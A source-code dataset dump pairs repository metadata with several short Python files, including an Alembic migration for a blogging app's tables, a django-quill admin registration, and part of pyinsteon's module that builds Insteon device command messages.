52e9f405e6c80232ab523165e54406449ac4d0e1
|
[
"Apache-2.0"
] | 33
|
2019-11-06T15:42:50.000Z
|
2022-01-14T05:56:03.000Z
|
bayesfast/core/__init__.py
|
EiffL/bayesfast
|
52e9f405e6c80232ab523165e54406449ac4d0e1
|
[
"Apache-2.0"
] | 30
|
2020-04-07T05:23:15.000Z
|
2022-03-25T21:34:56.000Z
|
bayesfast/core/__init__.py
|
EiffL/bayesfast
|
52e9f405e6c80232ab523165e54406449ac4d0e1
|
[
"Apache-2.0"
] | 7
|
2019-12-03T06:43:20.000Z
|
2021-12-09T14:26:06.000Z
|
from .density import *
from .module import *
from .recipe import *
from .sample import *
| 17.8
| 22
| 0.730337
| 12
| 89
| 5.416667
| 0.5
| 0.461538
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.179775
| 89
| 4
| 23
| 22.25
| 0.890411
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
2928d56eccebbda3b3a47ab60ff5a6fc172c3fa7
| 115
|
py
|
Python
|
widgetmark/cli/__init__.py
|
fabianSorn/widgetmark
|
93adf4ac15606036b2c64a871ea8ae1eb145a2ba
|
[
"MIT"
] | null | null | null |
widgetmark/cli/__init__.py
|
fabianSorn/widgetmark
|
93adf4ac15606036b2c64a871ea8ae1eb145a2ba
|
[
"MIT"
] | null | null | null |
widgetmark/cli/__init__.py
|
fabianSorn/widgetmark
|
93adf4ac15606036b2c64a871ea8ae1eb145a2ba
|
[
"MIT"
] | null | null | null |
"""Package containing the command line interface for widget-mark"""
from .__main__ import main
from .cli import CLI
| 38.333333
| 67
| 0.791304
| 17
| 115
| 5.117647
| 0.764706
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.130435
| 115
| 3
| 68
| 38.333333
| 0.87
| 0.530435
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
297c11770c95b14d2213c41a383d29386d01d1ff
| 1,233
|
py
|
Python
|
src/sdh/BaseSdh.py
|
damboeckmaxi/som-visualization-sdh-variants
|
2b6775674dca51ff4a68e03e6798fe6f5fe661f3
|
[
"MIT"
] | null | null | null |
src/sdh/BaseSdh.py
|
damboeckmaxi/som-visualization-sdh-variants
|
2b6775674dca51ff4a68e03e6798fe6f5fe661f3
|
[
"MIT"
] | null | null | null |
src/sdh/BaseSdh.py
|
damboeckmaxi/som-visualization-sdh-variants
|
2b6775674dca51ff4a68e03e6798fe6f5fe661f3
|
[
"MIT"
] | null | null | null |
import pandas as pd
from scipy.spatial import distance
def _get_df_from_weight_vectors(weight_vectors):
return pd.DataFrame().reindex_like(weight_vectors)
def _calc_distances_vector_to_weight_vectors(vector, weight_vectors):
return weight_vectors.applymap(lambda x: _calc_vector_distance(x, vector))
def _calc_vector_distance(vec1, vec2):
return distance.euclidean(vec1, vec2)
# Base class for sdh variants
class BaseSdh:
def __init__(self, weight_vectors, input_vectors, n):
self.weight_vectors = weight_vectors.copy(deep=True)
self.input_vectors = input_vectors
self.n = n
def calculate(self):
df = _get_df_from_weight_vectors(self.weight_vectors)
df = df.fillna(0)
input_vectors_tsf = self.input_vectors.transpose()
for index, row in input_vectors_tsf.iterrows():
distances = _calc_distances_vector_to_weight_vectors(row[0], self.weight_vectors)
df = self._function(distances, df)
# print(f'Processing input_vector nr {index}')
# TODO verbose output parameter with all processing-progress information
return df
def _function(self, distances, df):
return NotImplementedError()
| 33.324324
| 93
| 0.721006
| 160
| 1,233
| 5.225
| 0.39375
| 0.202153
| 0.08134
| 0.035885
| 0.133971
| 0.08134
| 0
| 0
| 0
| 0
| 0
| 0.006091
| 0.201135
| 1,233
| 36
| 94
| 34.25
| 0.84264
| 0.115977
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.027778
| 0
| 1
| 0.26087
| false
| 0
| 0.086957
| 0.173913
| 0.608696
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 5
|
46203a6ae86e0f1e1ba3e8b6226460543384c7b5
| 22
|
py
|
Python
|
tccli/services/smpn/v20190822/__init__.py
|
zyh911/tencentcloud-cli
|
dfc5dbd660d4c60d265921c4edc630091478fc41
|
[
"Apache-2.0"
] | null | null | null |
tccli/services/smpn/v20190822/__init__.py
|
zyh911/tencentcloud-cli
|
dfc5dbd660d4c60d265921c4edc630091478fc41
|
[
"Apache-2.0"
] | null | null | null |
tccli/services/smpn/v20190822/__init__.py
|
zyh911/tencentcloud-cli
|
dfc5dbd660d4c60d265921c4edc630091478fc41
|
[
"Apache-2.0"
] | null | null | null |
version = "2019-08-22"
| 22
| 22
| 0.681818
| 4
| 22
| 3.75
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.4
| 0.090909
| 22
| 1
| 22
| 22
| 0.35
| 0
| 0
| 0
| 0
| 0
| 0.434783
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
4660e2be727dd7aac2e06ef15e118002ed27a493
| 5,046
|
py
|
Python
|
migrations/versions/0cf78227007d_.py
|
CAUCHY2932/mark_py3
|
6b4957e127f76d30c55e07109d5d815c3d592a8b
|
[
"BSD-3-Clause"
] | null | null | null |
migrations/versions/0cf78227007d_.py
|
CAUCHY2932/mark_py3
|
6b4957e127f76d30c55e07109d5d815c3d592a8b
|
[
"BSD-3-Clause"
] | 7
|
2021-03-19T03:42:17.000Z
|
2022-03-11T23:59:35.000Z
|
migrations/versions/0cf78227007d_.py
|
CAUCHY2932/mark_py3
|
6b4957e127f76d30c55e07109d5d815c3d592a8b
|
[
"BSD-3-Clause"
] | null | null | null |
"""empty message
Revision ID: 0cf78227007d
Revises:
Create Date: 2019-09-12 11:07:08.974587
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '0cf78227007d'
down_revision = None
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.create_table('mk_topic',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('name', sa.String(length=255), nullable=False),
sa.Column('category_id', sa.Integer(), nullable=True),
sa.Column('brief', sa.Text(), nullable=False),
sa.Column('avatar', sa.String(length=255), nullable=False),
sa.Column('updatetime', sa.DateTime(), nullable=False),
sa.Column('timestamp', sa.DateTime(), nullable=False),
sa.PrimaryKeyConstraint('id')
)
op.create_index(op.f('ix_mk_topic_name'), 'mk_topic', ['name'], unique=False)
op.create_table('mk_user',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('username', sa.String(length=255), nullable=False),
sa.Column('email', sa.String(length=255), nullable=False),
sa.Column('password', sa.String(length=255), nullable=False),
sa.Column('cover', sa.String(length=255), nullable=True),
sa.Column('avatar', sa.String(length=255), nullable=True),
sa.Column('verification_code', sa.String(length=255), nullable=True),
sa.Column('verification_code_timestamp', sa.DateTime(), nullable=True),
sa.Column('updatetime', sa.DateTime(), nullable=False),
sa.Column('timestamp', sa.DateTime(), nullable=False),
sa.PrimaryKeyConstraint('id')
)
op.create_index(op.f('ix_mk_user_email'), 'mk_user', ['email'], unique=False)
op.create_index(op.f('ix_mk_user_username'), 'mk_user', ['username'], unique=True)
op.create_table('mk_article_article',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('user_id', sa.Integer(), nullable=False),
sa.Column('title', sa.String(length=255), nullable=False),
sa.Column('url', sa.String(length=255), nullable=False),
sa.Column('access', sa.String(length=255), nullable=False),
sa.Column('markdown', sa.Text(), nullable=False),
sa.Column('html', sa.Text(), nullable=False),
sa.Column('updatetime', sa.DateTime(), nullable=False),
sa.Column('timestamp', sa.DateTime(), nullable=False),
sa.Column('abstract', sa.Text(), nullable=False),
sa.Column('abstract_timestamp', sa.DateTime(), nullable=False),
sa.Column('cover', sa.String(length=255), nullable=True),
sa.Column('cover_timestamp', sa.DateTime(), nullable=True),
sa.Column('pathname', sa.String(length=255), nullable=False),
sa.ForeignKeyConstraint(['user_id'], ['mk_user.id'], onupdate='CASCADE', ondelete='CASCADE'),
sa.PrimaryKeyConstraint('id')
)
op.create_table('mk_user_profile',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('user_id', sa.Integer(), nullable=False),
sa.Column('sex', sa.Integer(), nullable=False),
sa.Column('profile', sa.Text(), nullable=False),
sa.Column('residence', sa.String(length=255), nullable=False),
sa.Column('profession', sa.String(length=255), nullable=False),
sa.Column('college', sa.String(length=255), nullable=False),
sa.Column('major', sa.String(length=255), nullable=False),
sa.Column('education', sa.String(length=255), nullable=False),
sa.ForeignKeyConstraint(['user_id'], ['mk_user.id'], onupdate='CASCADE', ondelete='CASCADE'),
sa.PrimaryKeyConstraint('id')
)
op.create_table('mk_article_image',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('name', sa.String(length=255), nullable=False),
sa.Column('filename', sa.String(length=255), nullable=False),
sa.Column('article_id', sa.Integer(), nullable=False),
sa.Column('timestamp', sa.DateTime(), nullable=False),
sa.ForeignKeyConstraint(['article_id'], ['mk_article_article.id'], onupdate='CASCADE', ondelete='CASCADE'),
sa.PrimaryKeyConstraint('id')
)
op.create_table('mk_article_topic',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('article_id', sa.Integer(), nullable=False),
sa.Column('topic_id', sa.Integer(), nullable=False),
sa.ForeignKeyConstraint(['article_id'], ['mk_article_article.id'], onupdate='CASCADE', ondelete='CASCADE'),
sa.ForeignKeyConstraint(['topic_id'], ['mk_topic.id'], onupdate='CASCADE', ondelete='CASCADE'),
sa.PrimaryKeyConstraint('id')
)
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.drop_table('mk_article_topic')
op.drop_table('mk_article_image')
op.drop_table('mk_user_profile')
op.drop_table('mk_article_article')
op.drop_index(op.f('ix_mk_user_username'), table_name='mk_user')
op.drop_index(op.f('ix_mk_user_email'), table_name='mk_user')
op.drop_table('mk_user')
op.drop_index(op.f('ix_mk_topic_name'), table_name='mk_topic')
op.drop_table('mk_topic')
# ### end Alembic commands ###
| 45.872727
| 111
| 0.684701
| 674
| 5,046
| 4.991098
| 0.137982
| 0.11415
| 0.182818
| 0.21849
| 0.821344
| 0.772592
| 0.719976
| 0.678656
| 0.497027
| 0.470868
| 0
| 0.022232
| 0.126437
| 5,046
| 109
| 112
| 46.293578
| 0.740926
| 0.056084
| 0
| 0.340659
| 0
| 0
| 0.18959
| 0.0146
| 0
| 0
| 0
| 0
| 0
| 1
| 0.021978
| false
| 0.010989
| 0.021978
| 0
| 0.043956
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
469d93d89a8f8f2ef2f1eaa525bc625bb6b824d4
| 163
|
py
|
Python
|
pwnlib/data/elf/__init__.py
|
DrKeineLust/pwntools
|
415f11bba7096b7d68fe144f5b3432b9c12a4f0a
|
[
"MIT"
] | 7
|
2017-07-11T01:12:02.000Z
|
2017-09-21T23:39:54.000Z
|
pwnlib/data/elf/__init__.py
|
DrKeineLust/pwntools
|
415f11bba7096b7d68fe144f5b3432b9c12a4f0a
|
[
"MIT"
] | null | null | null |
pwnlib/data/elf/__init__.py
|
DrKeineLust/pwntools
|
415f11bba7096b7d68fe144f5b3432b9c12a4f0a
|
[
"MIT"
] | 3
|
2018-03-21T11:48:05.000Z
|
2021-10-16T15:38:01.000Z
|
from __future__ import absolute_import
from pwnlib.data.elf import relro
import os
path = os.path.dirname(__file__)
def get(x):
return os.path.join(path, x)
| 18.111111
| 38
| 0.760736
| 27
| 163
| 4.259259
| 0.62963
| 0.156522
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.147239
| 163
| 8
| 39
| 20.375
| 0.827338
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0
| 0.5
| 0.166667
| 0.833333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 5
|
46ac398b29d1b75df145673ec8a8975cc1a0c860
| 151
|
py
|
Python
|
quilljs_example/example/admin.py
|
muke5hy/django-quill
|
16250b9c9418907123c8b40ddc66523af5d4e4d4
|
[
"BSD-3-Clause"
] | 11
|
2019-02-20T08:58:43.000Z
|
2021-01-03T16:41:07.000Z
|
quilljs_example/example/admin.py
|
muke5hy/django-quill
|
16250b9c9418907123c8b40ddc66523af5d4e4d4
|
[
"BSD-3-Clause"
] | null | null | null |
quilljs_example/example/admin.py
|
muke5hy/django-quill
|
16250b9c9418907123c8b40ddc66523af5d4e4d4
|
[
"BSD-3-Clause"
] | 3
|
2019-10-08T18:04:01.000Z
|
2020-11-02T12:15:03.000Z
|
from django.contrib import admin
from quilljs.admin import QuillAdmin
from .models import ExampleModel
admin.site.register(ExampleModel, QuillAdmin)
| 21.571429
| 45
| 0.84106
| 19
| 151
| 6.684211
| 0.578947
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.10596
| 151
| 6
| 46
| 25.166667
| 0.940741
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.75
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
d3c6aae2a16b50da7012d4e24407dd5d7c424f54
| 45,907
|
py
|
Python
|
pyinsteon/protocol/command_to_msg.py
|
michaeldavie/pyinsteon
|
e5b2e2910f4eff1474f158051fa71f75c2077dd6
|
[
"MIT"
] | null | null | null |
pyinsteon/protocol/command_to_msg.py
|
michaeldavie/pyinsteon
|
e5b2e2910f4eff1474f158051fa71f75c2077dd6
|
[
"MIT"
] | null | null | null |
pyinsteon/protocol/command_to_msg.py
|
michaeldavie/pyinsteon
|
e5b2e2910f4eff1474f158051fa71f75c2077dd6
|
[
"MIT"
] | null | null | null |
"""Create a topic and a direct message."""
import logging
from math import ceil
from .. import pub
from ..address import Address
from ..constants import RampRate
from ..utils import subscribe_topic
from ..topics import (
ASSIGN_TO_ALL_LINK_GROUP,
ASSIGN_TO_COMPANION_GROUP,
BRIGHTEN_ONE_STEP,
DELETE_FROM_ALL_LINK_GROUP,
DEVICE_TEXT_STRING_REQUEST,
DIM_ONE_STEP,
DOOR_MOVE_CLOSE_DOOR,
DOOR_MOVE_LOWER_DOOR,
DOOR_MOVE_OPEN_DOOR,
DOOR_MOVE_RAISE_DOOR,
DOOR_MOVE_SINGLE_DOOR_CLOSE,
DOOR_MOVE_SINGLE_DOOR_OPEN,
DOOR_MOVE_STOP_DOOR,
DOOR_STATUS_REPORT_CLOSE_DOOR,
DOOR_STATUS_REPORT_LOWER_DOOR,
DOOR_STATUS_REPORT_OPEN_DOOR,
DOOR_STATUS_REPORT_RAISE_DOOR,
DOOR_STATUS_REPORT_SINGLE_DOOR_CLOSE,
DOOR_STATUS_REPORT_SINGLE_DOOR_OPEN,
DOOR_STATUS_REPORT_STOP_DOOR,
ENTER_LINKING_MODE,
ENTER_UNLINKING_MODE,
EXTENDED_GET_SET,
EXTENDED_GET_SET_2,
EXTENDED_READ_WRITE_ALDB,
EXTENDED_TRIGGER_ALL_LINK,
FX_USERNAME,
GET_INSTEON_ENGINE_VERSION,
GET_OPERATING_FLAGS,
ID_REQUEST,
INSTANT_CHANGE,
IO_ALARM_DATA_REQUEST,
IO_ALARM_DATA_RESPONSE,
IO_GET_SENSOR_ALARM_DELTA,
IO_GET_SENSOR_VALUE,
IO_MODULE_DIAGNOSTICS_OFF,
IO_MODULE_DIAGNOSTICS_ON,
IO_MODULE_DISABLE_STATUS_CHANGE_MESSAGE,
IO_MODULE_ENABLE_STATUS_CHANGE_MESSAGE,
IO_MODULE_LOAD_EEPROM_FROM_RAM,
IO_MODULE_LOAD_INITIALIZATION_VALUES,
IO_MODULE_LOAD_RAM_FROM_EEPROM,
IO_MODULE_READ_ANALOG_ALWAYS,
IO_MODULE_READ_ANALOG_ONCE,
IO_MODULE_SENSOR_OFF,
IO_MODULE_SENSOR_ON,
IO_MODULE_STATUS_REQUEST,
IO_OUTPUT_OFF,
IO_OUTPUT_ON,
IO_READ_CONFIGURATION_PORT,
IO_READ_INPUT_PORT,
IO_SET_SENSOR_1_NOMINAL_VALUE,
IO_SET_SENSOR_NOMINAL_VALUE,
IO_WRITE_CONFIGURATION_PORT,
IO_WRITE_OUTPUT_PORT,
OFF,
OFF_AT_RAMP_RATE,
OFF_FAST,
ON,
ON_AT_RAMP_RATE,
ON_FAST,
PEEK_ONE_BYTE,
PEEK_ONE_BYTE_INTERNAL,
PING,
POKE_ONE_BYTE,
POKE_ONE_BYTE_INTERNAL,
POOL_DEVICE_OFF,
POOL_DEVICE_ON,
POOL_GET_AMBIENT_TEMPERATURE,
POOL_GET_PH,
POOL_GET_POOL_MODE,
POOL_GET_WATER_TEMPERATURE,
POOL_LOAD_EEPROM_FROM_RAM,
POOL_LOAD_INITIALIZATION_VALUES,
POOL_SET_DEVICE_HYSTERESIS,
POOL_SET_DEVICE_TEMPERATURE,
POOL_TEMPERATURE_DOWN,
POOL_TEMPERATURE_UP,
PRODUCT_DATA_REQUEST,
SET_ADDRESS_MSB,
SET_ALL_LINK,
SET_ALL_LINK_COMMAND_ALIAS,
SET_DEVICE_TEXT_STRING,
SET_OPERATING_FLAGS,
SET_SPRINKLER_PROGRAM,
SET_STATUS,
SPRINKLER_BROADCAST_OFF,
SPRINKLER_BROADCAST_ON,
SPRINKLER_DIAGNOSTICS_OFF,
SPRINKLER_DIAGNOSTICS_ON,
SPRINKLER_DISABLE_PUMP_ON_V8,
SPRINKLER_ENABLE_PUMP_ON_V8,
SPRINKLER_GET_PROGRAM_REQUEST,
SPRINKLER_GET_PROGRAM_RESPONSE,
SPRINKLER_GET_VALVE_STATUS,
SPRINKLER_INHIBIT_COMMAND_ACCEPTANCE,
SPRINKLER_LOAD_EEPROM_FROM_RAM,
SPRINKLER_LOAD_INITIALIZATION_VALUES,
SPRINKLER_LOAD_RAM_FROM_EEPROM,
SPRINKLER_PROGRAM_OFF,
SPRINKLER_PROGRAM_ON,
SPRINKLER_RESUME_COMMAND_ACCEPTANCE,
SPRINKLER_SENSOR_OFF,
SPRINKLER_SENSOR_ON,
SPRINKLER_SKIP_BACK,
SPRINKLER_SKIP_FORWARD,
SPRINKLER_VALVE_OFF,
SPRINKLER_VALVE_ON,
STATUS_REQUEST,
THERMOSTAT_GET_ZONE_INFORMATION,
THERMOSTAT_CONTROL,
THERMOSTAT_SET_COOL_SETPOINT,
THERMOSTAT_SET_HEAT_SETPOINT,
THERMOSTAT_SET_ZONE_COOL_SETPOINT,
THERMOSTAT_SET_ZONE_HEAT_SETPOINT,
THERMOSTAT_TEMPERATURE_DOWN,
THERMOSTAT_TEMPERATURE_UP,
THERMOSTAT_ZONE_TEMPERATURE_DOWN,
THERMOSTAT_ZONE_TEMPERATURE_UP,
WINDOW_COVERING_CLOSE,
WINDOW_COVERING_OPEN,
WINDOW_COVERING_POSITION,
WINDOW_COVERING_PROGRAM,
WINDOW_COVERING_STOP,
)
from .commands import commands
from .messages.all_link_record_flags import create
from .messages.message_flags import create as create_flags
from .messages.outbound import send_extended, send_standard
from .messages.user_data import UserData
from .topic_converters import topic_to_command_handler, topic_to_message_type
_LOGGER = logging.getLogger(__name__)
# pylint: disable=invalid-name
topic_register = {}
def register_command_handlers():
"""Register outbound handlers."""
for topic in topic_register:
func = topic_register[topic]
subscribe_topic(func, topic)
# The following messages are all send_standard or send_extended messages
# The topis is based on the cmd1, cmd2 and extended message flags values
def _create_direct_message(
topic, address, cmd2=None, user_data=None, crc=False, priority=5
):
main_topic = topic.name.split(".")[1]
command = commands.get_command(main_topic)
extended = user_data is not None
cmd2 = command.cmd2 if command.cmd2 is not None else cmd2
flag_type = topic_to_message_type(topic)
flags = create_flags(flag_type, extended)
if extended:
if crc:
user_data.set_crc(command.cmd1, cmd2)
else:
user_data.set_checksum(command.cmd1, cmd2)
send_extended(
address=address,
cmd1=command.cmd1,
cmd2=cmd2,
flags=flags,
user_data=user_data,
topic=topic,
priority=priority,
)
else:
send_standard(
address=address,
cmd1=command.cmd1,
cmd2=cmd2,
flags=flags,
topic=topic,
priority=priority,
)
@topic_to_command_handler(register_list=topic_register, topic=ASSIGN_TO_ALL_LINK_GROUP)
def assign_to_all_link_group(address: Address, group: int, topic=pub.AUTO_TOPIC):
"""Create a ASSIGN_TO_ALL_LINK_GROUP command."""
_create_direct_message(topic=topic, address=address, cmd2=group)
@topic_to_command_handler(
register_list=topic_register, topic=DELETE_FROM_ALL_LINK_GROUP
)
def delete_from_all_link_group(address: Address, group: int, topic=pub.AUTO_TOPIC):
"""Create a DELETE_FROM_ALL_LINK_GROUP command."""
_create_direct_message(topic=topic, address=address, cmd2=group)
@topic_to_command_handler(register_list=topic_register, topic=PRODUCT_DATA_REQUEST)
def product_data_request(address: Address, topic=pub.AUTO_TOPIC):
"""Create a PRODUCT_DATA_REQUEST command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=FX_USERNAME)
def fx_username(address: Address, topic=pub.AUTO_TOPIC):
"""Create a FX_USERNAME command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(
register_list=topic_register, topic=DEVICE_TEXT_STRING_REQUEST
)
def device_text_string_request(address: Address, topic=pub.AUTO_TOPIC):
"""Create a DEVICE_TEXT_STRING_REQUEST command."""
_create_direct_message(topic=topic, address=address)
@topic_to_command_handler(register_list=topic_register, topic=SET_DEVICE_TEXT_STRING)
def set_device_text_string(address: Address, user_data, topic=pub.AUTO_TOPIC):
"""Create a SET_DEVICE_TEXT_STRING command."""
_create_direct_message(topic=topic, address=address, user_data=user_data)
@topic_to_command_handler(
register_list=topic_register, topic=SET_ALL_LINK_COMMAND_ALIAS
)
def set_all_link_command_alias(address: Address, user_data, topic=pub.AUTO_TOPIC):
"""Create a SET_ALL_LINK_COMMAND_ALIAS command."""
_create_direct_message(topic=topic, address=address, user_data=user_data)
@topic_to_command_handler(register_list=topic_register, topic=SET_ALL_LINK)
def set_all_link(address: Address, user_data, topic=pub.AUTO_TOPIC):
"""Create a SET_ALL_LINK command."""
_create_direct_message(topic=topic, address=address, user_data=user_data)
@topic_to_command_handler(register_list=topic_register, topic=ENTER_LINKING_MODE)
def enter_linking_mode(address: Address, group: int, topic=pub.AUTO_TOPIC):
"""Create a ENTER_LINKING_MODE command."""
user_data = UserData()
_create_direct_message(
topic=topic, address=address, cmd2=group, user_data=user_data
)
@topic_to_command_handler(register_list=topic_register, topic=ENTER_UNLINKING_MODE)
def enter_unlinking_mode(address: Address, group: int, topic=pub.AUTO_TOPIC):
"""Create a ENTER_UNLINKING_MODE command."""
_create_direct_message(topic=topic, address=address, cmd2=group)
@topic_to_command_handler(
register_list=topic_register, topic=GET_INSTEON_ENGINE_VERSION
)
def get_insteon_engine_version(address: Address, topic=pub.AUTO_TOPIC):
"""Create a GET_INSTEON_ENGINE_VERSION command."""
_create_direct_message(topic=topic, address=address, cmd2=0x00)
@topic_to_command_handler(register_list=topic_register, topic=PING)
def ping(address: Address, topic=pub.AUTO_TOPIC):
"""Create a PING command."""
_create_direct_message(topic=topic, address=address, cmd2=0x00)
@topic_to_command_handler(register_list=topic_register, topic=ID_REQUEST)
def id_request(address: Address, topic=pub.AUTO_TOPIC):
"""Create a ID_REQUEST command."""
_create_direct_message(topic=topic, address=address, cmd2=0x00)
@topic_to_command_handler(register_list=topic_register, topic=ON)
def on(address: Address, on_level: int, group=0, topic=pub.AUTO_TOPIC):
"""Create a ON command."""
user_data = None
if group and group > 1:
user_data = UserData({"d1": group})
_create_direct_message(
topic=topic, address=address, cmd2=on_level, user_data=user_data, priority=3
)
@topic_to_command_handler(register_list=topic_register, topic=ON_FAST)
def on_fast(address: Address, on_level: int, group: int, topic=pub.AUTO_TOPIC):
"""Create a ON_FAST command."""
user_data = None
if group and group > 1:
user_data = UserData({"d1": group})
_create_direct_message(
topic=topic, address=address, cmd2=on_level, user_data=user_data, priority=3
)
@topic_to_command_handler(register_list=topic_register, topic=OFF)
def off(address: Address, group: int, cmd2: int = 0, topic=pub.AUTO_TOPIC):
"""Create a OFF command."""
user_data = None
if group and group > 1:
user_data = UserData({"d1": group})
_create_direct_message(
topic=topic, address=address, cmd2=cmd2, user_data=user_data, priority=3
)
@topic_to_command_handler(register_list=topic_register, topic=OFF_FAST)
def off_fast(address: Address, group: int, topic=pub.AUTO_TOPIC):
"""Create a OFF_FAST command."""
user_data = None
if group and group > 1:
user_data = UserData({"d1": group})
_create_direct_message(
topic=topic, address=address, cmd2=0, user_data=user_data, priority=3
)
@topic_to_command_handler(register_list=topic_register, topic=BRIGHTEN_ONE_STEP)
def brighten_one_step(address: Address, topic=pub.AUTO_TOPIC):
"""Create a BRIGHTEN_ONE_STEP command."""
_create_direct_message(topic=topic, address=address, cmd2=0, priority=3)
@topic_to_command_handler(register_list=topic_register, topic=DIM_ONE_STEP)
def dim_one_step(address: Address, topic=pub.AUTO_TOPIC):
"""Create a DIM_ONE_STEP command."""
_create_direct_message(topic=topic, address=address, cmd2=0, priority=3)
@topic_to_command_handler(register_list=topic_register, topic=STATUS_REQUEST)
def status_request(address: Address, status_type: int = 0, topic=pub.AUTO_TOPIC):
"""Create a STATUS_REQUEST command."""
_create_direct_message(topic=topic, address=address, cmd2=status_type, priority=7)
@topic_to_command_handler(register_list=topic_register, topic=GET_OPERATING_FLAGS)
def get_operating_flags(address: Address, flags_requested: int, topic=pub.AUTO_TOPIC):
"""Create a GET_OPERATING_FLAGS command."""
_create_direct_message(
topic=topic, address=address, cmd2=flags_requested, priority=7
)
@topic_to_command_handler(register_list=topic_register, topic=SET_OPERATING_FLAGS)
def set_operating_flags(
address: Address, cmd: int, extended=False, topic=pub.AUTO_TOPIC
):
"""Create a SET_OPERATING_FLAGS command."""
user_data = UserData() if extended else None
_create_direct_message(topic=topic, address=address, cmd2=cmd, user_data=user_data)
@topic_to_command_handler(register_list=topic_register, topic=INSTANT_CHANGE)
def instant_change(address: Address, on_level: int, topic=pub.AUTO_TOPIC):
"""Create a INSTANT_CHANGE command."""
_create_direct_message(topic=topic, address=address, cmd2=on_level, priority=3)
@topic_to_command_handler(register_list=topic_register, topic=SET_STATUS)
def set_status(address: Address, on_level: int, topic=pub.AUTO_TOPIC):
"""Create a SET_STATUS command."""
_create_direct_message(topic=topic, address=address, cmd2=on_level)
@topic_to_command_handler(register_list=topic_register, topic=SET_ADDRESS_MSB)
def set_address_msb(address: Address, high_byte: int, topic=pub.AUTO_TOPIC):
"""Create a SET_ADDRESS_MSB command."""
_create_direct_message(topic=topic, address=address, cmd2=high_byte)
@topic_to_command_handler(register_list=topic_register, topic=POKE_ONE_BYTE)
def poke_one_byte(address: Address, byte_to_write: int, topic=pub.AUTO_TOPIC):
"""Create a POKE_ONE_BYTE command."""
_create_direct_message(topic=topic, address=address, cmd2=byte_to_write)
@topic_to_command_handler(register_list=topic_register, topic=PEEK_ONE_BYTE)
def peek_one_byte(address: Address, lsb: int, topic=pub.AUTO_TOPIC):
"""Create a PEEK_ONE_BYTE command."""
_create_direct_message(topic=topic, address=address, cmd2=lsb)
@topic_to_command_handler(register_list=topic_register, topic=PEEK_ONE_BYTE_INTERNAL)
def peek_one_byte_internal(address: Address, lsb: int, topic=pub.AUTO_TOPIC):
"""Create a PEEK_ONE_BYTE_INTERNAL command."""
_create_direct_message(topic=topic, address=address, cmd2=lsb)
